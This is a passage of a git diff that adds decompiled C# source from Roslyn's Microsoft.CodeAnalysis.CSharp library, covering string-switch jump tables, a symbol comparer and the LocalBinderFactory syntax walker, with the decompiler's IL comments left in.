Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class LengthBasedStringSwitchData +{ + internal struct LengthJumpTable(LabelSymbol? nullCaseLabel, ImmutableArray<(int value, LabelSymbol label)> lengthCaseLabels) + { + public readonly LabelSymbol? NullCaseLabel = nullCaseLabel; + + public readonly ImmutableArray<(int value, LabelSymbol label)> LengthCaseLabels = lengthCaseLabels; + } + + internal struct CharJumpTable + { + public readonly LabelSymbol Label; + + public readonly int SelectedCharPosition; + + public readonly ImmutableArray<(char value, LabelSymbol label)> CharCaseLabels; + + internal CharJumpTable(LabelSymbol label, int selectedCharPosition, ImmutableArray<(char value, LabelSymbol label)> charCaseLabels) + { + Label = label; + SelectedCharPosition = selectedCharPosition; + CharCaseLabels = charCaseLabels; + } + } + + internal struct StringJumpTable + { + public readonly LabelSymbol Label; + + public readonly ImmutableArray<(string value, LabelSymbol label)> StringCaseLabels; + + internal StringJumpTable(LabelSymbol label, ImmutableArray<(string value, LabelSymbol label)> stringCaseLabels) + { + Label = label; + StringCaseLabels = stringCaseLabels; + } + } + + internal readonly LengthJumpTable LengthBasedJumpTable; + + internal readonly ImmutableArray CharBasedJumpTables; + + internal readonly ImmutableArray StringBasedJumpTables; + + internal LengthBasedStringSwitchData(LengthJumpTable lengthJumpTable, ImmutableArray charJumpTables, ImmutableArray stringJumpTables) + { + LengthBasedJumpTable = lengthJumpTable; + CharBasedJumpTables = charJumpTables; + StringBasedJumpTables = stringJumpTables; + } + + internal bool ShouldGenerateLengthBasedSwitch(int labelsCount) + { + if (SwitchStringJumpTableEmitter.ShouldGenerateHashTableSwitch(labelsCount)) + { + return StringBasedJumpTables.All((StringJumpTable t) => t.StringCaseLabels.Length <= 5); + } + return false; + } + + internal static LengthBasedStringSwitchData Create(ImmutableArray<(ConstantValue value, LabelSymbol label)> inputCases) + { + LabelSymbol nullCaseLabel = null; + ImmutableArray<(ConstantValue, LabelSymbol)>.Enumerator enumerator = inputCases.GetEnumerator(); + while (enumerator.MoveNext()) + { + (ConstantValue, LabelSymbol) current = enumerator.Current; + if (current.Item1.IsNull) + { + nullCaseLabel = current.Item2; + } + } + ArrayBuilder<(int, LabelSymbol)> instance = ArrayBuilder<(int, LabelSymbol)>.GetInstance(); + ArrayBuilder instance2 = ArrayBuilder.GetInstance(); + ArrayBuilder instance3 = ArrayBuilder.GetInstance(); + foreach (IGrouping item2 in from c in inputCases + where !c.value.IsNull + group c by c.value.StringValue.Length) + { + int key = item2.Key; + LabelSymbol item = CreateAndRegisterCharJumpTables(key, EnumerableExtensions.SelectAsArray<(ConstantValue, LabelSymbol), (string, LabelSymbol)>((IEnumerable<(ConstantValue, LabelSymbol)>)item2, (Func<(ConstantValue, LabelSymbol), (string, LabelSymbol)>)(((ConstantValue value, LabelSymbol label) c) => (c.value.StringValue, label: c.label))), instance2, instance3); + instance.Add((key, item)); + } + return new LengthBasedStringSwitchData(new LengthJumpTable(nullCaseLabel, instance.ToImmutableAndFree()), instance2.ToImmutableAndFree(), instance3.ToImmutableAndFree()); + } + + private static LabelSymbol CreateAndRegisterCharJumpTables(int stringLength, ImmutableArray<(string value, LabelSymbol label)> casesWithGivenLength, ArrayBuilder charJumpTables, ArrayBuilder stringJumpTables) + { + if (stringLength == 0) + { + return casesWithGivenLength.Single().label; + } + if (casesWithGivenLength.Length == 1) + { + return CreateAndRegisterStringJumpTable(casesWithGivenLength, stringJumpTables); + } + int bestCharacterPosition = selectBestCharacterIndex(stringLength, casesWithGivenLength); + ArrayBuilder<(char, LabelSymbol)> instance = ArrayBuilder<(char, LabelSymbol)>.GetInstance(); + foreach (IGrouping item4 in from c in casesWithGivenLength + group c by c.value[bestCharacterPosition]) + { + LabelSymbol item = ((stringLength == 1) ? item4.Single().Item2 : CreateAndRegisterStringJumpTable(item4.ToImmutableArray(), stringJumpTables)); + char key = item4.Key; + instance.Add((key, item)); + } + CharJumpTable charJumpTable = new CharJumpTable(new GeneratedLabelSymbol("char-dispatch"), bestCharacterPosition, instance.ToImmutableAndFree()); + charJumpTables.Add(charJumpTable); + return charJumpTable.Label; + static (int singleEntryCount, int largestBucket) positionScore(int position, ImmutableArray<(string value, LabelSymbol label)> caseLabels) + { + PooledDictionary instance2 = PooledDictionary.GetInstance(); + ImmutableArray<(string, LabelSymbol)>.Enumerator enumerator2 = caseLabels.GetEnumerator(); + while (enumerator2.MoveNext()) + { + char key2 = enumerator2.Current.Item1[position]; + if (((Dictionary)(object)instance2).TryGetValue(key2, out int value)) + { + ((Dictionary)(object)instance2)[key2] = value + 1; + } + else + { + ((Dictionary)(object)instance2)[key2] = 1; + } + } + int item2 = ((Dictionary)(object)instance2).Values.Count((int c) => c == 1); + int item3 = ((Dictionary)(object)instance2).Values.Max(); + instance2.Free(); + return (singleEntryCount: item2, largestBucket: item3); + } + static int selectBestCharacterIndex(int num3, ImmutableArray<(string value, LabelSymbol label)> caseLabels) + { + int result = -1; + int num = -1; + int num2 = int.MaxValue; + for (int i = 0; i < num3; i++) + { + var (num4, num5) = positionScore(i, caseLabels); + if (num4 > num || (num4 == num && num5 < num2)) + { + num = num4; + num2 = num5; + result = i; + } + } + return result; + } + } + + private static LabelSymbol CreateAndRegisterStringJumpTable(ImmutableArray<(string value, LabelSymbol label)> cases, ArrayBuilder stringJumpTables) + { + StringJumpTable stringJumpTable = new StringJumpTable(new GeneratedLabelSymbol("string-dispatch"), ImmutableArrayExtensions.SelectAsArray<(string, LabelSymbol), (string, LabelSymbol)>(cases, (Func<(string, LabelSymbol), (string, LabelSymbol)>)(((string value, LabelSymbol label) c) => (value: c.value, label: c.label)))); + stringJumpTables.Add(stringJumpTable); + return stringJumpTable.Label; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LexicalOrderSymbolComparer.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LexicalOrderSymbolComparer.cs new file mode 100644 index 0000000..214f401 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LexicalOrderSymbolComparer.cs @@ -0,0 +1,36 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal class LexicalOrderSymbolComparer : IComparer +{ + public static readonly LexicalOrderSymbolComparer Instance = new LexicalOrderSymbolComparer(); + + private LexicalOrderSymbolComparer() + { + } + + public int Compare(Symbol x, Symbol y) + { + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + if (x == y) + { + return 0; + } + LexicalSortKey lexicalSortKey = x.GetLexicalSortKey(); + LexicalSortKey lexicalSortKey2 = y.GetLexicalSortKey(); + int num = LexicalSortKey.Compare(lexicalSortKey, lexicalSortKey2); + if (num != 0) + { + return num; + } + num = SymbolKindExtensions.ToSortOrder(x.Kind) - SymbolKindExtensions.ToSortOrder(y.Kind); + if (num != 0) + { + return num; + } + return string.CompareOrdinal(x.Name, y.Name); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LocalBinderFactory.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LocalBinderFactory.cs new file mode 100644 index 0000000..c3c8c1a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LocalBinderFactory.cs @@ -0,0 +1,964 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Diagnostics.CodeAnalysis; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class LocalBinderFactory : CSharpSyntaxWalker +{ + private readonly SmallDictionary _map; + + private Symbol _containingMemberOrLambda; + + private Binder _enclosing; + + private readonly SyntaxNode _root; + + private void Visit(CSharpSyntaxNode syntax, Binder enclosing) + { + if (_enclosing == enclosing) + { + Visit((SyntaxNode?)(object)syntax); + return; + } + Binder enclosing2 = _enclosing; + _enclosing = enclosing; + Visit((SyntaxNode?)(object)syntax); + _enclosing = enclosing2; + } + + private void VisitRankSpecifiers(TypeSyntax type, Binder enclosing) + { + type.VisitRankSpecifiers(delegate(ArrayRankSpecifierSyntax rankSpecifier, (LocalBinderFactory localBinderFactory, Binder binder) args) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + Enumerator enumerator = rankSpecifier.Sizes.GetEnumerator(); + while (enumerator.MoveNext()) + { + ExpressionSyntax current = enumerator.Current; + if (current.Kind() != SyntaxKind.OmittedArraySizeExpression) + { + args.localBinderFactory.Visit(current, args.binder); + } + } + }, (this, enclosing)); + } + + public static SmallDictionary BuildMap(Symbol containingMemberOrLambda, SyntaxNode syntax, Binder enclosing, Action binderUpdatedHandler = null) + { + LocalBinderFactory localBinderFactory = new LocalBinderFactory(containingMemberOrLambda, syntax, enclosing); + if (syntax is ExpressionSyntax syntax2) + { + enclosing = new ExpressionVariableBinder(syntax, enclosing); + binderUpdatedHandler?.Invoke(enclosing, syntax); + localBinderFactory.AddToMap(syntax, enclosing); + localBinderFactory.Visit(syntax2, enclosing); + } + else if (syntax.Kind() != SyntaxKind.Block && syntax is StatementSyntax statementSyntax) + { + enclosing = localBinderFactory.GetBinderForPossibleEmbeddedStatement(statementSyntax, enclosing, out var embeddedScopeDesignator); + binderUpdatedHandler?.Invoke(enclosing, (SyntaxNode)(object)embeddedScopeDesignator); + if (embeddedScopeDesignator != null) + { + localBinderFactory.AddToMap((SyntaxNode)(object)embeddedScopeDesignator, enclosing); + } + localBinderFactory.Visit(statementSyntax, enclosing); + } + else + { + binderUpdatedHandler?.Invoke(enclosing, null); + localBinderFactory.Visit((CSharpSyntaxNode)(object)syntax, enclosing); + } + return localBinderFactory._map; + } + + public override void VisitCompilationUnit(CompilationUnitSyntax node) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + Enumerator enumerator = node.Members.GetEnumerator(); + while (enumerator.MoveNext()) + { + MemberDeclarationSyntax current = enumerator.Current; + if (current.Kind() == SyntaxKind.GlobalStatement) + { + Visit((SyntaxNode?)(object)current); + } + } + } + + private LocalBinderFactory(Symbol containingMemberOrLambda, SyntaxNode root, Binder enclosing) + : base((SyntaxWalkerDepth)0) + { + _map = new SmallDictionary((IEqualityComparer)ReferenceEqualityComparer.Instance); + _containingMemberOrLambda = containingMemberOrLambda; + _enclosing = enclosing; + _root = root; + } + + public override void VisitMethodDeclaration(MethodDeclarationSyntax node) + { + Visit((SyntaxNode?)(object)node.Body); + Visit((SyntaxNode?)(object)node.ExpressionBody); + } + + public override void VisitConstructorDeclaration(ConstructorDeclarationSyntax node) + { + Binder binder = new ExpressionVariableBinder((SyntaxNode)(object)node, _enclosing); + AddToMap((SyntaxNode)(object)node, binder); + Visit(node.Initializer, binder); + Visit(node.Body, binder); + Visit(node.ExpressionBody, binder); + } + + public override void VisitClassDeclaration(ClassDeclarationSyntax node) + { + VisitTypeDeclaration(node); + } + + public override void VisitRecordDeclaration(RecordDeclarationSyntax node) + { + VisitTypeDeclaration(node); + } + + private void VisitTypeDeclaration(TypeDeclarationSyntax node) + { + Visit((SyntaxNode?)(object)node.PrimaryConstructorBaseTypeIfClass); + } + + public override void VisitPrimaryConstructorBaseType(PrimaryConstructorBaseTypeSyntax node) + { + Binder binder = new ExpressionVariableBinder((SyntaxNode)(object)node, _enclosing).WithAdditionalFlags(BinderFlags.ConstructorInitializer); + AddToMap((SyntaxNode)(object)node, binder); + VisitConstructorInitializerArgumentList(node, node.ArgumentList, binder); + } + + public override void VisitDestructorDeclaration(DestructorDeclarationSyntax node) + { + Visit((SyntaxNode?)(object)node.Body); + Visit((SyntaxNode?)(object)node.ExpressionBody); + } + + public override void VisitAccessorDeclaration(AccessorDeclarationSyntax node) + { + Visit((SyntaxNode?)(object)node.Body); + Visit((SyntaxNode?)(object)node.ExpressionBody); + } + + public override void VisitConversionOperatorDeclaration(ConversionOperatorDeclarationSyntax node) + { + Visit((SyntaxNode?)(object)node.Body); + Visit((SyntaxNode?)(object)node.ExpressionBody); + } + + public override void VisitOperatorDeclaration(OperatorDeclarationSyntax node) + { + Visit((SyntaxNode?)(object)node.Body); + Visit((SyntaxNode?)(object)node.ExpressionBody); + } + + public override void VisitInvocationExpression(InvocationExpressionSyntax node) + { + //IL_005a: Unknown result type (might be due to invalid IL or missing references) + //IL_005f: Unknown result type (might be due to invalid IL or missing references) + InvocationExpressionSyntax nested; + if (node.MayBeNameofOperator()) + { + Binder enclosing = _enclosing; + WithTypeParametersBinder withTypeParametersBinder; + Binder withParametersBinder; + if ((_enclosing.Flags & BinderFlags.InContextualAttributeBinder) != BinderFlags.None) + { + Symbol target = getAttributeTarget(_enclosing); + withTypeParametersBinder = getExtraWithTypeParametersBinder(_enclosing, target); + withParametersBinder = getExtraWithParametersBinder(_enclosing, target); + } + else + { + withTypeParametersBinder = null; + withParametersBinder = null; + } + NameofBinder nameofBinder = new NameofBinder((SyntaxNode)(object)node.ArgumentList.Arguments[0].Expression, _enclosing, withTypeParametersBinder, withParametersBinder); + AddToMap((SyntaxNode)(object)node, nameofBinder); + _enclosing = nameofBinder; + base.VisitInvocationExpression(node); + _enclosing = enclosing; + } + else if (receiverIsInvocation(node, out nested)) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ArrayBuilderExtensions.Push(instance, node); + node = nested; + while (receiverIsInvocation(node, out nested)) + { + ArrayBuilderExtensions.Push(instance, node); + node = nested; + } + Visit((SyntaxNode?)(object)node.Expression); + do + { + Visit((SyntaxNode?)(object)node.ArgumentList); + } + while (ArrayBuilderExtensions.TryPop(instance, ref node)); + instance.Free(); + } + else + { + Visit((SyntaxNode?)(object)node.Expression); + Visit((SyntaxNode?)(object)node.ArgumentList); + } + static ImmutableArray getAllParameters(ParameterSymbol parameter) + { + Symbol containingSymbol = parameter.ContainingSymbol; + if (containingSymbol is MethodSymbol methodSymbol) + { + return methodSymbol.Parameters; + } + if (containingSymbol is PropertySymbol propertySymbol) + { + return propertySymbol.Parameters; + } + return default(ImmutableArray); + } + static Symbol getAttributeTarget(Binder current) + { + return Binder.TryGetContextualAttributeBinder(current).AttributeTarget; + } + static ImmutableArray getDelegateParameters(NamedTypeSymbol delegateType) + { + return delegateType.DelegateInvokeMethod?.Parameters ?? default(ImmutableArray); + } + static Binder? getExtraWithParametersBinder(Binder binder, Symbol symbol) + { + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Invalid comparison between Unknown and I4 + if (symbol is LambdaSymbol lambdaSymbol) + { + return new WithLambdaParametersBinder(lambdaSymbol, binder); + } + MethodSymbol methodSymbol; + ImmutableArray immutableArray; + if (symbol is SourcePropertyAccessorSymbol sourcePropertyAccessorSymbol) + { + if ((int)sourcePropertyAccessorSymbol.MethodKind != 12) + { + methodSymbol = (MethodSymbol)symbol; + goto IL_0083; + } + immutableArray = getSetterParameters(sourcePropertyAccessorSymbol); + } + else + { + methodSymbol = symbol as MethodSymbol; + if ((object)methodSymbol != null) + { + goto IL_0083; + } + immutableArray = ((symbol is ParameterSymbol parameter) ? getAllParameters(parameter) : ((symbol is TypeParameterSymbol typeParameter) ? getMethodParametersFromTypeParameter(typeParameter) : ((symbol is PropertySymbol propertySymbol) ? propertySymbol.Parameters : ((!(symbol is NamedTypeSymbol namedTypeSymbol) || !namedTypeSymbol.IsDelegateType()) ? default(ImmutableArray) : getDelegateParameters(namedTypeSymbol))))); + } + goto IL_00ce; + IL_00ce: + ImmutableArray parameters = immutableArray; + if (!parameters.IsDefaultOrEmpty) + { + return new WithParametersBinder(parameters, binder); + } + return null; + IL_0083: + immutableArray = methodSymbol.Parameters; + goto IL_00ce; + } + static WithTypeParametersBinder? getExtraWithTypeParametersBinder(Binder next, Symbol symbol) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Invalid comparison between Unknown and I4 + if ((int)symbol.Kind != 9) + { + return null; + } + return new WithMethodTypeParametersBinder((MethodSymbol)symbol, next); + } + static ImmutableArray getMethodParametersFromTypeParameter(TypeParameterSymbol typeParameter) + { + Symbol containingSymbol = typeParameter.ContainingSymbol; + if (containingSymbol is MethodSymbol methodSymbol) + { + return methodSymbol.Parameters; + } + if (containingSymbol is NamedTypeSymbol namedTypeSymbol && namedTypeSymbol.IsDelegateType()) + { + return getDelegateParameters(namedTypeSymbol); + } + return default(ImmutableArray); + } + static ImmutableArray getSetterParameters(SourcePropertyAccessorSymbol setter) + { + ImmutableArray parameters = setter.Parameters; + return parameters.RemoveAt(parameters.Length - 1); + } + static bool receiverIsInvocation(InvocationExpressionSyntax invocationExpressionSyntax, [NotNullWhen(true)] out InvocationExpressionSyntax? reference) + { + if (invocationExpressionSyntax.Expression is MemberAccessExpressionSyntax { Expression: InvocationExpressionSyntax expression } && !expression.MayBeNameofOperator()) + { + reference = expression; + return true; + } + reference = null; + return false; + } + } + + public override void VisitSimpleLambdaExpression(SimpleLambdaExpressionSyntax node) + { + VisitLambdaExpression(node); + } + + private void VisitLambdaExpression(LambdaExpressionSyntax node) + { + if ((object)_root == node) + { + CSharpSyntaxNode body = node.Body; + if (body.Kind() == SyntaxKind.Block) + { + VisitBlock((BlockSyntax)body); + return; + } + ExpressionVariableBinder expressionVariableBinder = new ExpressionVariableBinder((SyntaxNode)(object)body, _enclosing); + AddToMap((SyntaxNode)(object)body, expressionVariableBinder); + Visit(body, expressionVariableBinder); + } + } + + public override void VisitParenthesizedLambdaExpression(ParenthesizedLambdaExpressionSyntax node) + { + VisitLambdaExpression(node); + } + + public override void VisitLocalFunctionStatement(LocalFunctionStatementSyntax node) + { + //IL_0044: Unknown result type (might be due to invalid IL or missing references) + Symbol containingMemberOrLambda = _containingMemberOrLambda; + Binder enclosing = _enclosing; + LocalFunctionSymbol localFunctionSymbol = FindLocalFunction(node, _enclosing); + if ((object)localFunctionSymbol != null) + { + _containingMemberOrLambda = localFunctionSymbol; + enclosing = (localFunctionSymbol.IsGenericMethod ? new WithMethodTypeParametersBinder(localFunctionSymbol, _enclosing) : _enclosing); + enclosing = enclosing.WithUnsafeRegionIfNecessary(node.Modifiers); + enclosing = new InMethodBinder(localFunctionSymbol, enclosing); + } + BlockSyntax body = node.Body; + if (body != null) + { + Visit(body, enclosing); + } + ArrowExpressionClauseSyntax expressionBody = node.ExpressionBody; + if (expressionBody != null) + { + Visit(expressionBody, enclosing); + } + _containingMemberOrLambda = containingMemberOrLambda; + } + + private static LocalFunctionSymbol FindLocalFunction(LocalFunctionStatementSyntax node, Binder enclosing) + { + //IL_003d: Unknown result type (might be due to invalid IL or missing references) + //IL_0042: Unknown result type (might be due to invalid IL or missing references) + LocalFunctionSymbol result = null; + Binder binder = enclosing; + while (binder != null && !binder.IsLocalFunctionsScopeBinder) + { + binder = binder.Next; + } + if (binder != null) + { + ImmutableArray.Enumerator enumerator = binder.LocalFunctions.GetEnumerator(); + while (enumerator.MoveNext()) + { + LocalFunctionSymbol current = enumerator.Current; + Location firstLocation = current.GetFirstLocation(); + SyntaxToken identifier = node.Identifier; + if (firstLocation == ((SyntaxToken)(ref identifier)).GetLocation()) + { + result = current; + } + } + } + return result; + } + + public override void VisitArrowExpressionClause(ArrowExpressionClauseSyntax node) + { + ExpressionVariableBinder expressionVariableBinder = new ExpressionVariableBinder((SyntaxNode)(object)node, _enclosing); + AddToMap((SyntaxNode)(object)node, expressionVariableBinder); + Visit(node.Expression, expressionVariableBinder); + } + + public override void VisitEqualsValueClause(EqualsValueClauseSyntax node) + { + ExpressionVariableBinder expressionVariableBinder = new ExpressionVariableBinder((SyntaxNode)(object)node, _enclosing); + AddToMap((SyntaxNode)(object)node, expressionVariableBinder); + Visit(node.Value, expressionVariableBinder); + } + + public override void VisitAttribute(AttributeSyntax node) + { + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_003a: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + //IL_0042: Unknown result type (might be due to invalid IL or missing references) + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + ExpressionVariableBinder expressionVariableBinder = new ExpressionVariableBinder((SyntaxNode)(object)node, _enclosing); + AddToMap((SyntaxNode)(object)node, expressionVariableBinder); + AttributeArgumentListSyntax? argumentList = node.ArgumentList; + if (argumentList != null && argumentList.Arguments.Count > 0) + { + Enumerator enumerator = node.ArgumentList.Arguments.GetEnumerator(); + while (enumerator.MoveNext()) + { + AttributeArgumentSyntax current = enumerator.Current; + Visit(current.Expression, expressionVariableBinder); + } + } + } + + public override void VisitConstructorInitializer(ConstructorInitializerSyntax node) + { + Binder binder = _enclosing.WithAdditionalFlags(BinderFlags.ConstructorInitializer); + AddToMap((SyntaxNode)(object)node, binder); + VisitConstructorInitializerArgumentList(node, node.ArgumentList, binder); + } + + private void VisitConstructorInitializerArgumentList(CSharpSyntaxNode node, ArgumentListSyntax argumentList, Binder binder) + { + if (argumentList != null) + { + if ((object)_root == node) + { + binder = new ExpressionVariableBinder((SyntaxNode)(object)argumentList, binder); + AddToMap((SyntaxNode)(object)argumentList, binder); + } + Visit(argumentList, binder); + } + } + + public override void VisitAnonymousMethodExpression(AnonymousMethodExpressionSyntax node) + { + if ((object)_root == node) + { + VisitBlock(node.Block); + } + } + + public override void VisitGlobalStatement(GlobalStatementSyntax node) + { + Visit((SyntaxNode?)(object)node.Statement); + } + + public override void VisitBlock(BlockSyntax node) + { + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + BlockBinder blockBinder = new BlockBinder(_enclosing, node); + AddToMap((SyntaxNode)(object)node, blockBinder); + Enumerator enumerator = node.Statements.GetEnumerator(); + while (enumerator.MoveNext()) + { + StatementSyntax current = enumerator.Current; + Visit(current, blockBinder); + } + } + + public override void VisitUsingStatement(UsingStatementSyntax node) + { + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + UsingStatementBinder usingStatementBinder = new UsingStatementBinder(_enclosing, node); + AddToMap((SyntaxNode)(object)node, usingStatementBinder); + ExpressionSyntax expression = node.Expression; + VariableDeclarationSyntax declaration = node.Declaration; + if (expression != null) + { + Visit(expression, usingStatementBinder); + } + else + { + VisitRankSpecifiers(declaration.Type, usingStatementBinder); + Enumerator enumerator = declaration.Variables.GetEnumerator(); + while (enumerator.MoveNext()) + { + VariableDeclaratorSyntax current = enumerator.Current; + Visit(current, usingStatementBinder); + } + } + VisitPossibleEmbeddedStatement(node.Statement, usingStatementBinder); + } + + public override void VisitWhileStatement(WhileStatementSyntax node) + { + WhileBinder whileBinder = new WhileBinder(_enclosing, node); + AddToMap((SyntaxNode)(object)node, whileBinder); + Visit(node.Condition, whileBinder); + VisitPossibleEmbeddedStatement(node.Statement, whileBinder); + } + + public override void VisitDoStatement(DoStatementSyntax node) + { + WhileBinder whileBinder = new WhileBinder(_enclosing, node); + AddToMap((SyntaxNode)(object)node, whileBinder); + Visit(node.Condition, whileBinder); + VisitPossibleEmbeddedStatement(node.Statement, whileBinder); + } + + public override void VisitForStatement(ForStatementSyntax node) + { + //IL_005d: Unknown result type (might be due to invalid IL or missing references) + //IL_0062: Unknown result type (might be due to invalid IL or missing references) + //IL_0066: Unknown result type (might be due to invalid IL or missing references) + //IL_006b: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_00ad: Unknown result type (might be due to invalid IL or missing references) + //IL_00b2: Unknown result type (might be due to invalid IL or missing references) + //IL_00bd: Unknown result type (might be due to invalid IL or missing references) + //IL_00d7: Unknown result type (might be due to invalid IL or missing references) + //IL_00dc: Unknown result type (might be due to invalid IL or missing references) + Binder binder = new ForLoopBinder(_enclosing, node); + AddToMap((SyntaxNode)(object)node, binder); + VariableDeclarationSyntax declaration = node.Declaration; + if (declaration != null) + { + VisitRankSpecifiers(declaration.Type, binder); + Enumerator enumerator = declaration.Variables.GetEnumerator(); + while (enumerator.MoveNext()) + { + VariableDeclaratorSyntax current = enumerator.Current; + Visit(current, binder); + } + } + else + { + Enumerator enumerator2 = node.Initializers.GetEnumerator(); + while (enumerator2.MoveNext()) + { + ExpressionSyntax current2 = enumerator2.Current; + Visit(current2, binder); + } + } + ExpressionSyntax condition = node.Condition; + if (condition != null) + { + binder = new ExpressionVariableBinder((SyntaxNode)(object)condition, binder); + AddToMap((SyntaxNode)(object)condition, binder); + Visit(condition, binder); + } + SeparatedSyntaxList incrementors = node.Incrementors; + if (incrementors.Count > 0) + { + ExpressionListVariableBinder expressionListVariableBinder = new ExpressionListVariableBinder(incrementors, binder); + AddToMap((SyntaxNode)(object)incrementors.First(), expressionListVariableBinder); + Enumerator enumerator2 = incrementors.GetEnumerator(); + while (enumerator2.MoveNext()) + { + ExpressionSyntax current3 = enumerator2.Current; + Visit(current3, expressionListVariableBinder); + } + } + VisitPossibleEmbeddedStatement(node.Statement, binder); + } + + private void VisitCommonForEachStatement(CommonForEachStatementSyntax node) + { + ExpressionVariableBinder expressionVariableBinder = new ExpressionVariableBinder((SyntaxNode)(object)node.Expression, _enclosing); + AddToMap((SyntaxNode)(object)node.Expression, expressionVariableBinder); + Visit(node.Expression, expressionVariableBinder); + ForEachLoopBinder forEachLoopBinder = new ForEachLoopBinder(expressionVariableBinder, node); + AddToMap((SyntaxNode)(object)node, forEachLoopBinder); + if (node is ForEachVariableStatementSyntax forEachVariableStatementSyntax && !forEachVariableStatementSyntax.Variable.IsDeconstructionLeft()) + { + Visit(forEachVariableStatementSyntax.Variable, forEachLoopBinder); + } + VisitPossibleEmbeddedStatement(node.Statement, forEachLoopBinder); + } + + public override void VisitForEachStatement(ForEachStatementSyntax node) + { + VisitCommonForEachStatement(node); + } + + public override void VisitForEachVariableStatement(ForEachVariableStatementSyntax node) + { + VisitCommonForEachStatement(node); + } + + public override void VisitCheckedExpression(CheckedExpressionSyntax node) + { + Binder binder = _enclosing.WithCheckedOrUncheckedRegion(node.Kind() == SyntaxKind.CheckedExpression); + AddToMap((SyntaxNode)(object)node, binder); + Visit(node.Expression, binder); + } + + public override void VisitCheckedStatement(CheckedStatementSyntax node) + { + Binder binder = _enclosing.WithCheckedOrUncheckedRegion(node.Kind() == SyntaxKind.CheckedStatement); + AddToMap((SyntaxNode)(object)node, binder); + Visit(node.Block, binder); + } + + public override void VisitUnsafeStatement(UnsafeStatementSyntax node) + { + Binder binder = _enclosing.WithAdditionalFlags(BinderFlags.UnsafeRegion); + AddToMap((SyntaxNode)(object)node, binder); + Visit(node.Block, binder); + } + + public override void VisitFixedStatement(FixedStatementSyntax node) + { + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + //IL_003a: Unknown result type (might be due to invalid IL or missing references) + //IL_003d: Unknown result type (might be due to invalid IL or missing references) + //IL_0042: Unknown result type (might be due to invalid IL or missing references) + FixedStatementBinder fixedStatementBinder = new FixedStatementBinder(_enclosing, node); + AddToMap((SyntaxNode)(object)node, fixedStatementBinder); + if (node.Declaration != null) + { + VisitRankSpecifiers(node.Declaration.Type, fixedStatementBinder); + Enumerator enumerator = node.Declaration.Variables.GetEnumerator(); + while (enumerator.MoveNext()) + { + VariableDeclaratorSyntax current = enumerator.Current; + Visit(current, fixedStatementBinder); + } + } + VisitPossibleEmbeddedStatement(node.Statement, fixedStatementBinder); + } + + public override void VisitLockStatement(LockStatementSyntax node) + { + LockBinder lockBinder = new LockBinder(_enclosing, node); + AddToMap((SyntaxNode)(object)node, lockBinder); + Visit(node.Expression, lockBinder); + StatementSyntax statement = node.Statement; + Binder binder = lockBinder.WithAdditionalFlags(BinderFlags.InLockBody); + if (binder != lockBinder) + { + AddToMap((SyntaxNode)(object)statement, binder); + } + VisitPossibleEmbeddedStatement(statement, binder); + } + + public override void VisitSwitchStatement(SwitchStatementSyntax node) + { + //IL_003a: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + //IL_0042: Unknown result type (might be due to invalid IL or missing references) + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + AddToMap((SyntaxNode)(object)node.Expression, _enclosing); + Visit(node.Expression, _enclosing); + SwitchBinder switchBinder = SwitchBinder.Create(_enclosing, node); + AddToMap((SyntaxNode)(object)node, switchBinder); + Enumerator enumerator = node.Sections.GetEnumerator(); + while (enumerator.MoveNext()) + { + SwitchSectionSyntax current = enumerator.Current; + Visit(current, switchBinder); + } + } + + public override void VisitSwitchSection(SwitchSectionSyntax node) + { + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might 